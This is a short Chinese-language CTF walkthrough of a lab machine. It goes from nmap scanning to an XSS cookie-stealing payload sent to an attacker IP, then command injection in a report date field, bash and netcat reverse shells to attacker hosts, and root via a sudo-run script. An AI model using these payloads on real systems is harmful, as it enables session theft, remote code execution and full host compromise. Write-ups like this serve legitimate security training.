1 信息收集
NMAP端口扫描
nmap -sSCV 10.10.11.8
5000端口测试
检查页面功能,请求 For questions 功能,跳转到 /support 目录
目录扫描
发现 /dashboard
目录
访问 /dashboard
目录,显示未认证,如果通过认证,/dashboard
目录下的功能点可能存在利用点,想办法获取 cookie
2 利用 XSS 获取 cookie
在HttpOnly不启用时,就可能通过 XSS 漏洞获取 cookie,/support 页面
可以进行用户输入,尝试利用此页面进行 XSS 攻击测试
# payload
<script>var i=new Image(); i.src="http://10.10.14.171:8081/?cookie="+btoa(document.cookie);</script>
本地服务器获取到返回的 cookie,base64 加密,进行解密
替换获取到的 cookie,刷新 http://10.10.11.8:5000/dashboard 页面
点击 Generate Report,抓包观察,既然可以通过日期进行查询,那可以测试是否可以拼接系统命令执行
拼接 ;id
,执行成功
3 命令执行获取权限
执行命令方法 1
/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.14.171/4444 0>&1'
对反弹 shell 命令进行 URL 编码
执行命令方法 2
本地需要开启 http.server 服务
4 权限提升
# 检查当前用户拥有的权限
sudo -l
发现 /usr/bin/syscheck
,任何用户都可以无需密码执行,检查文件内容,initdb.sh 文件正在运行,那把命令写入 initdb.sh 文件,使用 sudo 执行即可获取 root 权限
echo "nc -e /bin/sh 10.10.14.147 4445" > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck